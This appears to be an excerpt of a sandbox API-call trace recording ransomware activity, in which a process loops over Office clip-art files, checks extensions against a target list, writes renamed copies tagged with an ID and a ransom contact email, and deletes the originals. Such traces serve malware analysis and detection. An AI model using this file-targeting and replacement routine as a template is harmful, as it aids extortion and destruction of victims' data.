	[0180.362] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x5516, lpOverlapped=0x0) returned 1
	[0180.365] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x5520, lpOverlapped=0x0) returned 1
	[0180.366] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.366] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.366] SetEndOfFile (hFile=0x36c) returned 1
	[0180.366] CloseHandle (hObject=0x36c) returned 1
	[0180.366] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.367] SetEndOfFile (hFile=0x514) returned 1
	[0180.370] CloseHandle (hObject=0x514) returned 1
	[0180.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.371] lstrlenW (lpString=".doc") returned 4
	[0180.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString=".docx") returned 5
	[0180.371] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0180.371] lstrlenW (lpString=".pdf") returned 4
	[0180.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString=".xls") returned 4
	[0180.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.371] lstrlenW (lpString=".xlsx") returned 5
	[0180.371] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0180.371] lstrlenW (lpString=".ppt") returned 4
	[0180.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.371] lstrlenW (lpString=".zip") returned 4
	[0180.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.371] lstrlenW (lpString=".rar") returned 4
	[0180.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString=".bz2") returned 4
	[0180.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString=".7z") returned 3
	[0180.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.371] lstrlenW (lpString=".dbf") returned 4
	[0180.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.371] lstrlenW (lpString=".1cd") returned 4
	[0180.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString=".jpg") returned 4
	[0180.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString=".doc") returned 4
	[0180.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString=".docx") returned 5
	[0180.372] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0180.372] lstrlenW (lpString=".pdf") returned 4
	[0180.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString=".xls") returned 4
	[0180.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.372] lstrlenW (lpString=".xlsx") returned 5
	[0180.372] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0180.372] lstrlenW (lpString=".ppt") returned 4
	[0180.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString=".zip") returned 4
	[0180.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.372] lstrlenW (lpString=".rar") returned 4
	[0180.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString=".bz2") returned 4
	[0180.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString=".7z") returned 3
	[0180.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString=".dbf") returned 4
	[0180.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.372] lstrlenW (lpString=".1cd") returned 4
	[0180.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0180.373] lstrlenW (lpString=".jpg") returned 4
	[0180.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.373] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.373] lstrlenW (lpString="J0090087.WMF") returned 12
	[0180.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.374] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=46936) returned 1
	[0180.374] CloseHandle (hObject=0x514) returned 1
	[0180.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220
	[0180.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.375] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.375] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.376] GetLastError () returned 0x0
	[0180.376] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xb758, lpOverlapped=0x0) returned 1
	[0180.380] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xb760, lpOverlapped=0x0) returned 1
	[0180.382] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.382] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.382] SetEndOfFile (hFile=0x36c) returned 1
	[0180.383] CloseHandle (hObject=0x36c) returned 1
	[0180.383] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.383] SetEndOfFile (hFile=0x514) returned 1
	[0180.387] CloseHandle (hObject=0x514) returned 1
	[0180.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0180.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.389] lstrlenW (lpString=".doc") returned 4
	[0180.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.389] lstrlenW (lpString=".docx") returned 5
	[0180.389] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0180.389] lstrlenW (lpString=".pdf") returned 4
	[0180.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.389] lstrlenW (lpString=".xls") returned 4
	[0180.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.389] lstrlenW (lpString=".xlsx") returned 5
	[0180.389] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0180.389] lstrlenW (lpString=".ppt") returned 4
	[0180.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.389] lstrlenW (lpString=".zip") returned 4
	[0180.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.389] lstrlenW (lpString=".rar") returned 4
	[0180.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.389] lstrlenW (lpString=".bz2") returned 4
	[0180.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString=".7z") returned 3
	[0180.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.390] lstrlenW (lpString=".dbf") returned 4
	[0180.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.390] lstrlenW (lpString=".1cd") returned 4
	[0180.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.390] lstrlenW (lpString=".jpg") returned 4
	[0180.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.390] lstrlenW (lpString=".doc") returned 4
	[0180.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString=".docx") returned 5
	[0180.390] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0180.390] lstrlenW (lpString=".pdf") returned 4
	[0180.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString=".xls") returned 4
	[0180.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.390] lstrlenW (lpString=".xlsx") returned 5
	[0180.390] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0180.390] lstrlenW (lpString=".ppt") returned 4
	[0180.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.391] lstrlenW (lpString=".zip") returned 4
	[0180.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.391] lstrlenW (lpString=".rar") returned 4
	[0180.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.391] lstrlenW (lpString=".bz2") returned 4
	[0180.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.391] lstrlenW (lpString=".7z") returned 3
	[0180.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.391] lstrlenW (lpString=".dbf") returned 4
	[0180.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.391] lstrlenW (lpString=".1cd") returned 4
	[0180.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0180.391] lstrlenW (lpString=".jpg") returned 4
	[0180.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.391] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.391] lstrlenW (lpString="J0090089.WMF") returned 12
	[0180.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.392] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=15760) returned 1
	[0180.392] CloseHandle (hObject=0x514) returned 1
	[0180.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220
	[0180.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.393] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.393] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.394] GetLastError () returned 0x0
	[0180.395] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x3d90, lpOverlapped=0x0) returned 1
	[0180.591] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x3da0, lpOverlapped=0x0) returned 1
	[0180.592] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.592] WriteFile (in: hFile=0x36c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.593] SetEndOfFile (hFile=0x36c) returned 1
	[0180.593] CloseHandle (hObject=0x36c) returned 1
	[0180.593] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.593] SetEndOfFile (hFile=0x514) returned 1
	[0180.596] CloseHandle (hObject=0x514) returned 1
	[0180.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0183.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.648] lstrlenW (lpString=".doc") returned 4
	[0183.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.648] lstrlenW (lpString=".docx") returned 5
	[0183.648] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0183.648] lstrlenW (lpString=".pdf") returned 4
	[0183.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.648] lstrlenW (lpString=".xls") returned 4
	[0183.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.648] lstrlenW (lpString=".xlsx") returned 5
	[0183.649] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0183.649] lstrlenW (lpString=".ppt") returned 4
	[0183.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.649] lstrlenW (lpString=".zip") returned 4
	[0183.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.649] lstrlenW (lpString=".rar") returned 4
	[0183.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.649] lstrlenW (lpString=".bz2") returned 4
	[0183.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.649] lstrlenW (lpString=".7z") returned 3
	[0183.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.649] lstrlenW (lpString=".dbf") returned 4
	[0183.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.649] lstrlenW (lpString=".1cd") returned 4
	[0183.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.649] lstrlenW (lpString=".jpg") returned 4
	[0183.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.650] lstrlenW (lpString=".doc") returned 4
	[0183.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.650] lstrlenW (lpString=".docx") returned 5
	[0183.650] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0183.650] lstrlenW (lpString=".pdf") returned 4
	[0183.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.650] lstrlenW (lpString=".xls") returned 4
	[0183.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.650] lstrlenW (lpString=".xlsx") returned 5
	[0183.650] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0183.650] lstrlenW (lpString=".ppt") returned 4
	[0183.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.650] lstrlenW (lpString=".zip") returned 4
	[0183.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.650] lstrlenW (lpString=".rar") returned 4
	[0183.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.651] lstrlenW (lpString=".bz2") returned 4
	[0183.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.651] lstrlenW (lpString=".7z") returned 3
	[0183.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.651] lstrlenW (lpString=".dbf") returned 4
	[0183.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.651] lstrlenW (lpString=".1cd") returned 4
	[0183.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0183.651] lstrlenW (lpString=".jpg") returned 4
	[0183.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.651] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0183.651] lstrlenW (lpString="J0099153.WMF") returned 12
	[0183.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0183.653] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=13874) returned 1
	[0183.653] CloseHandle (hObject=0x590) returned 1
	[0183.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0183.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0183.654] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.654] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.655] GetLastError () returned 0x0
